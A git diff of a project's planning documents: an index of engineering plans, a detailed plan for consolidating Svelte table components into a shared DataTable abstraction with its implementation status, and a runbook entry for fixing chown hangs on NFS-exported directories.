| Artifact | Relevance |
|
||||||
|
|----------|-----------|
|
||||||
|
| `docs/mbse/README.md` §5 | MCP tools / REST / SSE — the data surface Apps consume |
|
||||||
|
| `docs/mbse/components.md` §5 | Current web control room component doc — Phase 1 extends it |
|
||||||
|
| `docs/mascot/README.md` | Mascot subsystem model (MASC-1..12); MASC-9's registry philosophy is the template for this plan |
|
||||||
|
| `plans/2026-07-08-control-room-webui.md` | Original control-room plan |
|
||||||
|
| `plans/done/2026-07-11-ui-review-ia-usability.md` | IA review that produced the desktop metaphor |
|
||||||
|
| `plans/2026-07-20-desktop-mascot.md` | Mascot plan; extension registries |
|
||||||
|
| `lib/apps.ts` header comment | Already documents the one-entry-to-add-an-app philosophy |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Plan opened 2026-07-21. Phase 1 ready for execution — estimated small
|
||||||
|
(~half a day of focused work; nine file touches, two new files). Phases
|
||||||
|
2–4 are context for future sessions and do not block Phase 1.*
|
||||||
@@ -14,10 +14,14 @@ went sideways, open an investigation.
|
|||||||
| 2026-07-08 | [Liveness, drift, and UX cohesion](2026-07-08-liveness-drift-and-ux-cohesion.md) | In Progress — Phase 5 deferred |
|
| 2026-07-08 | [Liveness, drift, and UX cohesion](2026-07-08-liveness-drift-and-ux-cohesion.md) | In Progress — Phase 5 deferred |
|
||||||
| 2026-07-10 | [General gated execution: unlimited actions, gated by risk](2026-07-10-general-gated-execution.md) | In Progress — `request_execution` enum retired (60effcb); only auto-act revival (item 10) still open |
|
| 2026-07-10 | [General gated execution: unlimited actions, gated by risk](2026-07-10-general-gated-execution.md) | In Progress — `request_execution` enum retired (60effcb); only auto-act revival (item 10) still open |
|
||||||
| 2026-07-11 | [Nomos agent code review: gaps and improvement plan](2026-07-11-nomos-agent-code-review.md) | In Progress — only C1 (unauthenticated nomos gateway) still open, deferred |
|
| 2026-07-11 | [Nomos agent code review: gaps and improvement plan](2026-07-11-nomos-agent-code-review.md) | In Progress — only C1 (unauthenticated nomos gateway) still open, deferred |
|
||||||
| 2026-07-14 | [Session reliability & UX audit](2026-07-14-session-reliability-and-ux-audit.md) | Done — all 21 fixes deployed |
|
| 2026-07-14 | [Activity gaps](2026-07-14-activity-gaps.md) | In Progress |
|
||||||
| 2026-07-14 | [Tool timeline in sidebar](2026-07-14-tool-timeline-sidebar.md) | Done — deployed v0.3.2 |
|
| 2026-07-14 | [Activity timeline](2026-07-14-activity-timeline.md) | In Progress |
|
||||||
| 2026-07-14 | [Unified agent activity indicator](2026-07-14-unified-agent-indicator.md) | Done — deployed v0.3.3 |
|
| 2026-07-17 | [Codebase review, lint audit, and documentation maintenance](2026-07-17-codebase-review-and-cleanup.md) | Report delivered — doc/tooling fixes applied; code refactors pending |
|
||||||
| 2026-07-14 | [Post-fix session remainders: empty responses & plan drift](2026-07-14-post-fix-session-remainders.md) | Done — all 18 fixes shipped, eval-validated (4/4 golden evals pass), committed (337d577 + 3de359b + dd3076a), deployed v0.5.3. OIDC token-refresh fix (PM) also shipped (3b98097) |
|
| 2026-07-18 | [Session review: three recent sessions](2026-07-18-session-review-three-sessions.md) | Implemented in v0.7.12 — P0.1/P0.2/P1.3/P1.4/P1.5/P1.6/P1.8/P2.10; P1.7 and P2.9 deferred (retry cap covers) |
|
||||||
|
| 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Implemented in v0.8.0 — see deviation note; physics/window-interaction follow-ups tracked separately |
|
||||||
|
| 2026-07-20 | [Session review: past 10 sessions](2026-07-20-session-review-ten-sessions.md) | Implemented in v0.7.13 — all P0/P1/P2 items landed |
|
||||||
|
| 2026-07-20 | [Mascot physics/window-interaction audit](2026-07-20-mascot-physics-audit.md) | P0–P2 implemented; P3 ("cool stuff") ideas open |
|
||||||
|
| 2026-07-21 | [Frontend as OS + Apps — architecture audit & refactor](2026-07-21-frontend-os-apps-architecture.md) | Planned — Phase 1 ready |
|
||||||
|
|
||||||
## Done
|
## Done
|
||||||
|
|
||||||
@@ -49,6 +53,12 @@ See [`done/`](done/) for executed plans:
|
|||||||
| 2026-07-11 | [Task completion safety net: every live task is stuck "Running"](done/2026-07-11-task-completion-safety-net.md) |
|
| 2026-07-11 | [Task completion safety net: every live task is stuck "Running"](done/2026-07-11-task-completion-safety-net.md) |
|
||||||
| 2026-07-12 | [Wails desktop application](done/2026-07-12-wails-desktop-app.md) |
|
| 2026-07-12 | [Wails desktop application](done/2026-07-12-wails-desktop-app.md) |
|
||||||
| 2026-07-13 | [MCP tool apps: custom in-chat renderers](done/2026-07-13-mcp-tool-apps-custom-chat-renderers.md) |
|
| 2026-07-13 | [MCP tool apps: custom in-chat renderers](done/2026-07-13-mcp-tool-apps-custom-chat-renderers.md) |
|
||||||
|
| 2026-07-14 | [Session reliability & UX audit](done/2026-07-14-session-reliability-and-ux-audit.md) |
|
||||||
|
| 2026-07-14 | [Tool timeline in sidebar](done/2026-07-14-tool-timeline-sidebar.md) |
|
||||||
|
| 2026-07-14 | [Unified agent activity indicator](done/2026-07-14-unified-agent-indicator.md) |
|
||||||
|
| 2026-07-14 | [Post-fix session remainders: empty responses & plan drift](done/2026-07-14-post-fix-session-remainders.md) |
|
||||||
|
| 2026-07-15 | [Plan-first and iteration](done/2026-07-15-plan-first-and-iteration.md) |
|
||||||
|
| 2026-07-15 | [WhatsApp session audit](done/2026-07-15-whatsapp-session-audit.md) |
|
||||||
|
|
||||||
## Conventions
|
## Conventions
|
||||||
|
|
||||||
|
|||||||
403
plans/tables.md
Normal file
403
plans/tables.md
Normal file
@@ -0,0 +1,403 @@
|
|||||||
|
# Table & Component Standardization Plan
|
||||||
|
|
||||||
|
## 0. Motivation
|
||||||
|
|
||||||
|
The app currently has **5 table implementations**, each hand-writing `<Table.Root>` boilerplate
|
||||||
|
from scratch. The shadcn-svelte `Table.*` primitives (`web/src/lib/components/ui/table/`) are
|
||||||
|
purely presentational wrappers — no sorting, filtering, pagination, row selection, or search.
|
||||||
|
Every page reinvents sort arrows, empty states, loading skeletons, badge color maps, formatting
|
||||||
|
utilities, and tab patterns independently.
|
||||||
|
|
||||||
|
**Goal:** One `DataTable` abstraction that declaratively renders *every* table in the app,
|
||||||
|
built on `@vincjo/datatables` (headless data-handling) with shadcn-svelte visuals and custom
|
||||||
|
column/renderer composability.
|
||||||
|
|
||||||
|
**Also:** Use this migration as leverage to standardize the component surface — extract
|
||||||
|
repeated patterns into shared primitives so the codebase contracts rather than accumulating
|
||||||
|
yet another abstraction.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Audit Summary
|
||||||
|
|
||||||
|
### 1.1 Tables in the App
|
||||||
|
|
||||||
|
| # | Page / Component | File | LOC | Features (what it has) | Gaps (what it's missing) |
|
||||||
|
|---|---|---|---|---|---|
|
||||||
|
| 1 | `EntityTable.svelte` | `web/src/lib/components/` | 265 | Sort (5 cols), treegrid grouping, collapsible nesting, row selection, keyboard nav, loading skeleton, health dots | Pagination, search, column toggle, checkbox select |
|
||||||
|
| 2 | `Overview.svelte` | `web/src/pages/` | 125 | Filter pills (all/running/input/done/failed), sticky header, responsive cols, animated status dots | Plain `<table>` (no shadcn), no sort, no pagination |
|
||||||
|
| 3 | `Ops.svelte` — 3 tables | `web/src/pages/` | 240 | Inline approve/deny actions, risk/status badges, cancel button, duration formatting (`fmtDuration`), relative time (`fmtWhen`) | No sort, no pagination, no search |
|
||||||
|
| 4 | `Signals.svelte` | `web/src/pages/` | 171 | Tab filter (open/muted/resolved), severity dropdown, inline Ack/Mute/Resolve actions, badge colors | No sort, no pagination |
|
||||||
|
| 5 | Markdown tables | `ChatThread.svelte`, `EntityDetailContent.svelte` | CSS-only | Prose-styled `<table>` for AI output | No interactive features (by design) |
|
||||||
|
|
||||||
|
### 1.2 Repeated Patterns (duplicated per-page)
|
||||||
|
|
||||||
|
| Pattern | Occurrences | Where |
|
||||||
|
|---|---|---|
|
||||||
|
| Sort header with arrow icons | 1 (closed set in `EntityTable`) | Only EntityTable has sort; Ops/Signals/Overview don't bother |
|
||||||
|
| `riskVariant()` / `severityVariant()` / `stateVariant()` / `execStatusVariant()` | 6 | Ops.svelte ×2, Signals.svelte ×1, EntityTable.svelte ×2, Knowledge.svelte ×1 |
|
||||||
|
| `fmtWhen()` / `relTime()` inline relative-time formatting | 3 | Ops.svelte, Knowledge.svelte (both inline; utils.ts has `relativeTime` already) |
|
||||||
|
| `<Table.Root> > <Table.Header> > <Table.Row> > <Table.Head>` boilerplate | 6 | Every table page |
|
||||||
|
| Empty state `<Table.Cell colspan={N}>No ...</Table.Cell>` | 6 | Every table page |
|
||||||
|
| `<Tabs.Root> > <Tabs.List> > <Tabs.Trigger>` with badge counts | 2 | Ops.svelte, Signals.svelte |
|
||||||
|
| Loading skeleton | 2 | EntityTable.svelte (custom widths), EntityDetailContent.svelte |
|
||||||
|
|
||||||
|
### 1.3 Current Tech Stack
|
||||||
|
|
||||||
|
| Layer | What | Version |
|
||||||
|
|---|---|---|
|
||||||
|
| Framework | Svelte 5 (runes mode) | ^5.0.0 |
|
||||||
|
| UI primitives | shadcn-svelte (local copies in `ui/`) | — |
|
||||||
|
| Headless backing | bits-ui | ^2.18.1 |
|
||||||
|
| CSS | Tailwind v4 (CSS-first config, no PostCSS) | ^4.3.2 |
|
||||||
|
| Variant system | tailwind-variants | ^3.2.2 |
|
||||||
|
| Icons | @lucide/svelte | ^1.23.0 |
|
||||||
|
| Table library | **none** | — |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. `@vincjo/datatables` — Why This Library
|
||||||
|
|
||||||
|
**Headless.** It provides a `TableHandler` class that handles client-side pagination,
|
||||||
|
sorting, searching, filtering, column visibility, and row selection — all as runes.
|
||||||
|
Rendering is entirely up to us. This pairs perfectly with shadcn-svelte visual styling.
|
||||||
|
|
||||||
|
**API surface (what we care about):**
|
||||||
|
- `new TableHandler(data)` — instantiate with reactive data
|
||||||
|
- `table.rows` — **rune** that reflects current page/filter/sort (auto-tracked by Svelte 5)
|
||||||
|
- `table.rowCount`, `table.pageCount`, `table.currentPage`, `table.pages`, `table.pagesWithEllipsis`
|
||||||
|
- `table.setRows(data)`, `table.setRowsPerPage(n)`, `table.setPage('next'|'previous'|int)`
|
||||||
|
- `table.createSort()`, `table.createSearch()`, `table.createFilter()`, `table.createView()`
|
||||||
|
- `table.select(id)`, `table.selectAll()`, `table.selected`, `table.isAllSelected`
|
||||||
|
- `table.createCSV()`, `table.createCalculation()`, `table.createRecordFilter()`
|
||||||
|
|
||||||
|
**No dependencies.** Lightweight. TypeScript-native. SSR friendly (even though we're SPA).
|
||||||
|
|
||||||
|
### What it does NOT do (and that's fine)
|
||||||
|
- No rendering. We build the UI ourselves — use shadcn-svelte primitives.
|
||||||
|
- No server-side pagination — if we need that later, the library has a separate server-side API.
|
||||||
|
- No column ordering — we don't need drag-and-drop reorder; we use `createView()` for visible/hidden.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Architecture Plan
|
||||||
|
|
||||||
|
### 3.1 New Core Component: `DataTable.svelte`
|
||||||
|
|
||||||
|
```
|
||||||
|
web/src/lib/components/data-table/
|
||||||
|
├── DataTable.svelte # The main table component
|
||||||
|
├── DataTable.svelte.ts # TypeScript type definitions
|
||||||
|
├── columns.ts # Column definition helpers
|
||||||
|
├── renderers/ # Built-in cell renderers
|
||||||
|
│ ├── BadgeRenderer.svelte
|
||||||
|
│ ├── HealthDotRenderer.svelte
|
||||||
|
│ ├── RelativeTimeRenderer.svelte
|
||||||
|
│ └── DateRenderer.svelte
|
||||||
|
├── pagination/ # Pagination UI
|
||||||
|
│ ├── Pagination.svelte
|
||||||
|
│ ├── PageButton.svelte
|
||||||
|
│ └── RowsPerPage.svelte
|
||||||
|
├── sort-header.svelte # Sortable column header with arrow icons
|
||||||
|
├── search-input.svelte # Text search input
|
||||||
|
└── toolbar.svelte # Top toolbar (search + filter + page size)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 `DataTable` API (declarative, Svelte 5 runes)
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
<script lang="ts">
|
||||||
|
import DataTable from '$lib/components/data-table/DataTable.svelte'
|
||||||
|
import type { DataTableColumn } from '$lib/components/data-table/DataTable.svelte'
|
||||||
|
|
||||||
|
let data = $state<MyRow[]>([])
|
||||||
|
let selected = $state<Set<string>>(new Set())
|
||||||
|
|
||||||
|
const columns: DataTableColumn<MyRow>[] = [
|
||||||
|
{ key: 'slug', header: 'Slug', sortable: true, class: 'font-mono text-xs' },
|
||||||
|
{ key: 'type', header: 'Type', sortable: true, render: 'badge' },
|
||||||
|
{ key: 'health', header: 'Health', sortable: true, render: 'health-dot', accessor: (r) => r },
|
||||||
|
{ key: 'actions', header: '', sortable: false, render: (row) => component /* snippet or component */ },
|
||||||
|
]
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<DataTable
|
||||||
|
{columns}
|
||||||
|
{data}
|
||||||
|
bind:selected
|
||||||
|
pageSize={20}
|
||||||
|
searchable
|
||||||
|
paginated
|
||||||
|
sortKey="slug"
|
||||||
|
sortDir="asc"
|
||||||
|
loading
|
||||||
|
emptyMessage="No items."
|
||||||
|
>
|
||||||
|
<!-- optional slot for toolbar actions -->
|
||||||
|
</DataTable>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.3 Column System
|
||||||
|
|
||||||
|
A `DataTableColumn<T>` is:
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
type ColumnRenderer<T> =
|
||||||
|
| 'badge' // wraps value in <Badge variant="outline">
|
||||||
|
| 'health-dot' // colored dot + relative time
|
||||||
|
| 'relative-time' // relativeTime(val)
|
||||||
|
| 'date' // new Date(val).toLocaleString()
|
||||||
|
| Component // any Svelte component, receives { row, value }
|
||||||
|
| ((row: T) => any) // raw value formatter
|
||||||
|
| undefined // raw value
|
||||||
|
```
|
||||||
|
|
||||||
|
Built-in renderers cover badge colors, health dots, timestamps — eliminating the 6
|
||||||
|
inline `riskVariant()`/`severityVariant()`/`stateVariant()` copies. Custom components
|
||||||
|
cover action buttons and complex cells.
|
||||||
|
|
||||||
|
### 3.4 What ships with the table
|
||||||
|
|
||||||
|
| Feature | How | Default |
|
||||||
|
|---|---|---|
|
||||||
|
| Sorting | Click column header → `createSort()` | Yes, if `sortable: true` |
|
||||||
|
| Pagination | `table.pages` + `Pagination` component | Optional (`paginated` prop) |
|
||||||
|
| Text search | `search-input.svelte` → `createSearch()` | Optional (`searchable` prop) |
|
||||||
|
| Column visibility | `createView()` → dropdown toggle | Not in v1 (add later) |
|
||||||
|
| Row selection | Checkbox column → `table.select()` | Optional (`bind:selected`) |
|
||||||
|
| Loading state | Skeleton rows via `loading` prop | Yes |
|
||||||
|
| Empty state | Configurable `emptyMessage` | Yes |
|
||||||
|
| Tree/grouping | `childToParent` prop → recursive rows | EntityTable-only feature |
|
||||||
|
| CSV export | `table.createCSV()` → download button | Not in v1 (add later) |
|
||||||
|
| Server-side pagination | `handlePageChange` callback | Not needed yet |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Standardized Shared Components
|
||||||
|
|
||||||
|
Extract the repeated patterns discovered in the audit into shared components:
|
||||||
|
|
||||||
|
### 4.1 `StatusBadge.svelte`
|
||||||
|
**Replaces:** 6 copies of `riskVariant()`, `severityVariant()`, `stateVariant()`, `execStatusVariant()`
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
<script lang="ts">
|
||||||
|
let { value, kind = 'state' }: { value: string; kind?: 'risk' | 'severity' | 'state' | 'execution' } = $props()
|
||||||
|
// Resolves variant mapping from kind + value
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.2 `EmptyState.svelte`
|
||||||
|
**Replaces:** 6 `<Table.Cell colspan={N}>No ...</Table.Cell>` blocks
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
<script lang="ts">
|
||||||
|
let { message = 'No items.', colspan = 999, icon = null } = $props()
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.3 `RelativeTime.svelte`
|
||||||
|
**Replaces:** `Oks.svelte:58` (`fmtWhen`), `Knowledge.svelte:49` (`relTime`)
|
||||||
|
**Consolidates:** Already exists as `relativeTime()` in `utils.ts` — wrap in a component that auto-updates.
|
||||||
|
|
||||||
|
### 4.4 `FilterTabs.svelte`
|
||||||
|
**Replaces:** `Ops.svelte:114-120` and `Signals.svelte:153-159` (Tabs.Root boilerplate with badge counts)
|
||||||
|
|
||||||
|
```svelte
|
||||||
|
<script lang="ts">
|
||||||
|
let { tabs, value = $bindable(''), class, children }: {
|
||||||
|
tabs: { value: string; label: string; count?: number }[];
|
||||||
|
value?: string;
|
||||||
|
class?: string;
|
||||||
|
children?: any;
|
||||||
|
} = $props()
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.5 `PageHeader.svelte`
|
||||||
|
**Replaces:** Every page's `<h1 class="text-lg font-semibold">...</h1>` + optional actions row.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Migration Sequence (ordered for incremental delivery)
|
||||||
|
|
||||||
|
### Phase 1 — Library & Foundation (~1 PR)
|
||||||
|
|
||||||
|
1. **Install `@vincjo/datatables`**
|
||||||
|
```
|
||||||
|
npm install -D @vincjo/datatables
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Build `DataTable.svelte` + `DataTable.svelte.ts` + `columns.ts`**
|
||||||
|
- Core loop: `{#each table.rows as row}` + column render dispatch
|
||||||
|
- Pagination sub-components: `Pagination.svelte`, `PageButton.svelte`, `RowsPerPage.svelte`
|
||||||
|
- `SortHeader.svelte` — click to sort, arrow icons (extract from `EntityTable:163-178`)
|
||||||
|
- `SearchInput.svelte` — debounced text search
|
||||||
|
|
||||||
|
3. **Build renderers:** `BadgeRenderer.svelte`, `HealthDotRenderer.svelte`, `RelativeTimeRenderer.svelte`, `DateRenderer.svelte`
|
||||||
|
|
||||||
|
4. **Build `EmptyState.svelte`**
|
||||||
|
|
||||||
|
5. **Unit tests** for `DataTable` column dispatch, sort, pagination, selection.
|
||||||
|
|
||||||
|
### Phase 2 — Simple Tables (no tree, no actions) (~1 PR)
|
||||||
|
|
||||||
|
6. **Migrate `Overview.svelte` (task board)**
|
||||||
|
- Plain `<table>` → `DataTable` with `StatusBadge`, `RelativeTime`, filter pills external
|
||||||
|
- Drop sticky-header CSS (`DataTable` handles it)
|
||||||
|
- Verify: filter pills, status dots, responsive summary column, click-to-open
|
||||||
|
|
||||||
|
7. **Migrate `Signals.svelte`**
|
||||||
|
- Replace `signalTable` snippet → `DataTable` with action-column renderer
|
||||||
|
- Extract `FilterTabs.svelte` from the Tabs boilerplate
|
||||||
|
- Verify: severity dropdown, tab counts, Ack/Mute/Resolve buttons
|
||||||
|
|
||||||
|
### Phase 3 — Action Tables (~1 PR)
|
||||||
|
|
||||||
|
8. **Migrate `Ops.svelte` — Pending Approvals**
|
||||||
|
- Approve/Deny buttons as action column renderer
|
||||||
|
- Risk badge via `StatusBadge kind="risk"`
|
||||||
|
|
||||||
|
9. **Migrate `Ops.svelte` — Decided Approvals**
|
||||||
|
- Same columns, no actions
|
||||||
|
|
||||||
|
10. **Migrate `Ops.svelte` — Activity**
|
||||||
|
- Cancel button, summary + error inline, duration via `RendererComponent`
|
||||||
|
- Extract `FilterTabs` for Approvals vs Activity tabs
|
||||||
|
|
||||||
|
### Phase 4 — Tree Table (~1 PR)
|
||||||
|
|
||||||
|
11. **Migrate `EntityTable.svelte`**
|
||||||
|
- Treegrid grouping is the hard part. Build a `TreeTable` variant or a `grouped` prop.
|
||||||
|
- `childToParent` prop stays → recursive rendering while `DataTable` handles sort + selection.
|
||||||
|
- **Alternative:** Ship `treegrid` as a separate `TreeDataTable.svelte` component if the
|
||||||
|
recursive pattern is too divergent to fit into `DataTable`.
|
||||||
|
|
||||||
|
### Phase 5 — Cleanup & Standardization (~1 PR)
|
||||||
|
|
||||||
|
12. **Extract shared components everywhere:**
|
||||||
|
- Audit every `.svelte` file for inline `riskVariant()` / `severityVariant()` / `fmtWhen()` — replace with `StatusBadge`, `RelativeTime`
|
||||||
|
- Audit for inline `<Tabs.Root>` boilerplate — replace with `FilterTabs`
|
||||||
|
- Audit for `<Badge variant={...}>` with inline logic — consolidate
|
||||||
|
|
||||||
|
13. **Remove deprecated shadcn-svelte table primitives** after confirming nothing else imports them.
|
||||||
|
|
||||||
|
14. **Delete duplicate utility functions** (`fmtWhen` in Ops, `relTime` in Knowledge, etc.)
|
||||||
|
|
||||||
|
### Phase 6 — Polish (~1 PR)
|
||||||
|
|
||||||
|
15. **Column visibility toggle** (optional)
|
||||||
|
16. **CSV export** for entity tables (optional)
|
||||||
|
17. **Responsive tables** — horizontal scroll with frozen left column for mobile
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Risk Assessment
|
||||||
|
|
||||||
|
| Risk | Mitigation |
|
||||||
|
|---|---|
|
||||||
|
| `@vincjo/datatables` doesn't support treegrid grouping | EntityTable's recursive rendering stays independent; `DataTable` wraps flat tables only |
|
||||||
|
| Svelte 5 runes + `TableHandler` reactivity mismatch | `TableHandler.rows` is a rune. Wrap in `$derived` or `$effect` to feed `data` prop → `table.setRows()` |
|
||||||
|
| Over-engineering a simple table (3-row decided approvals shouldn't need pagination) | `DataTable` accepts `paginated` prop — default off. Small tables stay simple. |
|
||||||
|
| Treegrid migration breaks KB browser | Phase 4 is isolated. Phases 1–3 deliver value before touching the critical KB table. |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Success Criteria
|
||||||
|
|
||||||
|
1. **Every `<Table.Root>`** in the app routes through `DataTable.svelte`
|
||||||
|
2. **0** copies of inline `riskVariant()` / `severityVariant()` / `stateVariant()` — all through `StatusBadge`
|
||||||
|
3. **0** copies of inline `fmtWhen()` / `relTime()` — all through `RelativeTime` or `utils.relativeTime`
|
||||||
|
4. **0** copies of manual `<Table.Cell colspan={N}>No ...</Table.Cell>` — all through `EmptyState`
|
||||||
|
5. **`web/src/lib/components/ui/table/`** retained for `DataTable` internals only (or removed if unused)
|
||||||
|
6. **TypeScript compiles** with `--noEmit` and **tests pass** (`vitest run`)
|
||||||
|
7. **All existing features preserved**: sort, tree expand/collapse, tab filters, severity dropdown, approve/deny/cancel/ack/resolve buttons, sticky headers, loading skeletons, health dots, empty states
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. File Manifest (what gets created / modified / deleted)
|
||||||
|
|
||||||
|
### Created
|
||||||
|
```
|
||||||
|
plan/tables.md ← this file
|
||||||
|
web/src/lib/components/data-table/DataTable.svelte
|
||||||
|
web/src/lib/components/data-table/DataTable.svelte.ts
|
||||||
|
web/src/lib/components/data-table/columns.ts
|
||||||
|
web/src/lib/components/data-table/columns.test.ts
|
||||||
|
web/src/lib/components/data-table/renderers/BadgeRenderer.svelte
|
||||||
|
web/src/lib/components/data-table/renderers/HealthDotRenderer.svelte
|
||||||
|
web/src/lib/components/data-table/renderers/RelativeTimeRenderer.svelte
|
||||||
|
web/src/lib/components/data-table/renderers/DateRenderer.svelte
|
||||||
|
web/src/lib/components/data-table/pagination/Pagination.svelte
|
||||||
|
web/src/lib/components/data-table/pagination/PageButton.svelte
|
||||||
|
web/src/lib/components/data-table/pagination/RowsPerPage.svelte
|
||||||
|
web/src/lib/components/data-table/sort-header.svelte
|
||||||
|
web/src/lib/components/data-table/search-input.svelte
|
||||||
|
web/src/lib/components/data-table/toolbar.svelte
|
||||||
|
web/src/lib/components/StatusBadge.svelte
|
||||||
|
web/src/lib/components/EmptyState.svelte
|
||||||
|
web/src/lib/components/RelativeTime.svelte
|
||||||
|
web/src/lib/components/FilterTabs.svelte
|
||||||
|
web/src/lib/components/PageHeader.svelte
|
||||||
|
```
|
||||||
|
|
||||||
|
### Modified (in migration order)
|
||||||
|
```
|
||||||
|
web/package.json ← add @vincjo/datatables
|
||||||
|
web/src/pages/Overview.svelte ← Phase 2
|
||||||
|
web/src/pages/Signals.svelte ← Phase 2
|
||||||
|
web/src/pages/Ops.svelte ← Phase 3
|
||||||
|
web/src/lib/components/EntityTable.svelte ← Phase 4
|
||||||
|
web/src/pages/KnowledgeBase.svelte ← Phase 4 (consumer of EntityTable)
|
||||||
|
web/src/pages/Knowledge.svelte ← Phase 5 (remove relTime)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Potentially Removed (Phase 5)
|
||||||
|
```
|
||||||
|
web/src/lib/components/ui/table/* ← if DataTable is the sole consumer
|
||||||
|
(These stay if DataTable still uses them internally for rendering)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Implementation Status
|
||||||
|
|
||||||
|
### Completed (2026-07-21)
|
||||||
|
|
||||||
|
| Phase | Task | Status |
|
||||||
|
|---|---|---|
|
||||||
|
| 1 | Install `@vincjo/datatables` | Done |
|
||||||
|
| 1 | `DataTable.svelte` core component | Done |
|
||||||
|
| 1 | Types (`DataTable.svelte.ts`, `columns.ts`) | Done |
|
||||||
|
| 1 | Pagination (`Pagination`, `PageButton`, `RowsPerPage`) | Done |
|
||||||
|
| 1 | Sort header, search input, toolbar | Done |
|
||||||
|
| 1 | Built-in renderers: `BadgeRenderer`, `HealthDotRenderer`, `RelativeTimeRenderer`, `DateRenderer`, `RiskBadgeRenderer`, `ExecutionStatusRenderer`, `DurationRenderer`, `StatusDotRenderer` | Done |
|
||||||
|
| 1 | `EmptyState.svelte` shared component | Done |
|
||||||
|
| 2 | Migrate `Overview.svelte` to `DataTable` | Done |
|
||||||
|
| 2 | Migrate `Signals.svelte` to `DataTable` | Done |
|
||||||
|
| 3 | Migrate `Ops.svelte` (3 tables) to `DataTable` | Done |
|
||||||
|
| 4 | Refactor `EntityTable.svelte` to use shared {SortHeader, EmptyState, HealthDotRenderer} | Done |
|
||||||
|
| 5 | Create `StatusBadge.svelte` (consolidates risk/severity/execution-type variant maps) | Done |
|
||||||
|
| 5 | Create `FilterTabs.svelte` component | Done |
|
||||||
|
| 5 | Clean up `Knowledge.svelte`: replace inline `relTime()` → `relativeTime()`, `typeVariant()` → `StatusBadge` | Done |
|
||||||
|
|
||||||
|
### Key Decisions Made During Implementation
|
||||||
|
|
||||||
|
- **EntityTable treegrid NOT migrated to DataTable**. The recursive tree rendering is too
|
||||||
|
divergent from flat, paginated data. Instead, EntityTable was refactored to use shared
|
||||||
|
`SortHeader`, `EmptyState`, and `HealthDotRenderer` to eliminate inline duplication.
|
||||||
|
- **`renderProps` added to `DataTableColumn`** to pass extra props (callbacks, state) to
|
||||||
|
custom cell renderer components (used by `SignalActions`, `ApprovalActions`, `ActivityCancel`).
|
||||||
|
- **`headerClass` added to `DataTableColumn`** for responsive column visibility on `th` + `td`.
|
||||||
|
- **`bordered` prop on `DataTable`** for cases where parent wrappers provide the border.
|
||||||
|
- **`StatusBadge`** uses a `kind` discriminator (`risk`, `severity`, `execution`, `type`, `default`)
|
||||||
|
instead of separate components per domain.
|
||||||
|
- **`FilterTabs`** created but not yet wired into Ops/Signals — those pages still use
|
||||||
|
inline `<Tabs.Root>` for the approvals/activity and open/muted/resolved tabs.
|
||||||
|
|
||||||
|
### Remaining (Phase 6 — Future PR)
|
||||||
|
|
||||||
|
- Wire `FilterTabs` into Ops.svelte and Signals.svelte
|
||||||
|
- Column visibility toggle
|
||||||
|
- CSV export
|
||||||
|
- Responsive table with frozen left column for mobile
|
||||||
@@ -6713,3 +6713,143 @@ runbooks:
|
|||||||
tags:
|
tags:
|
||||||
- skill
|
- skill
|
||||||
- runbook
|
- runbook
|
||||||
|
- slug: nfs-exported-dir-mutation-hang
|
||||||
|
name: Mutating an actively-exported NFS directory hangs at fchownat
|
||||||
|
risk_class: config_mutation
|
||||||
|
entity_type: host
|
||||||
|
procedure: {}
|
||||||
|
content: |
|
||||||
|
---
|
||||||
|
name: nfs-exported-dir-mutation-hang
|
||||||
|
risk_class: config_mutation
|
||||||
|
inputs: [target_host, exported_path, mutation_command]
|
||||||
|
verification: "stat -c '%a %U:%G' <exported_path> on the target host"
|
||||||
|
docs_update_checklist: [investigation_entry]
|
||||||
|
---
|
||||||
|
|
||||||
|
# Mutating an actively-exported NFS directory hangs at fchownat
|
||||||
|
|
||||||
|
Symptom: a `chown` / `chgrp` / `chmod` against a directory that is
|
||||||
|
actively exported via `nfs-kernel-server` (knfsd) hangs indefinitely — the
|
||||||
|
command appears to run but never returns. SSH/gateway time out waiting for it.
|
||||||
|
`ps aux | grep chown` shows the process in interruptible sleep (D state);
|
||||||
|
repeated retries pile up zombies (25+ observed in one session).
|
||||||
|
|
||||||
|
Root cause: knfsd holds a kernel lock on the directory while it's exported.
|
||||||
|
`fchownat()` blocks waiting for the lock. This is NOT a gateway or SSH issue —
|
||||||
|
raising the timeout just makes the hang longer.
|
||||||
|
|
||||||
|
## Procedure
|
||||||
|
|
||||||
|
1. **Clear the zombies** from prior failed attempts:
|
||||||
|
```
|
||||||
|
killall -9 chgrp chown chmod 2>/dev/null
|
||||||
|
```
|
||||||
|
2. **Temporarily unexport** the path for each client/network that has it exported:
|
||||||
|
```
|
||||||
|
exportfs -u <client>:<path> # e.g. exportfs -u 192.168.8.0/24:/mnt/media_local
|
||||||
|
```
|
||||||
|
3. **Apply the mutation** (now that knfsd has released the lock):
|
||||||
|
```
|
||||||
|
chown :<gid> <path> && chmod <mode> <path>
|
||||||
|
```
|
||||||
|
4. **Re-export** (restore the exports):
|
||||||
|
```
|
||||||
|
exportfs -a
|
||||||
|
```
|
||||||
|
5. **Verify** from an NFS client that the new permissions are visible and operations work end-to-end:
|
||||||
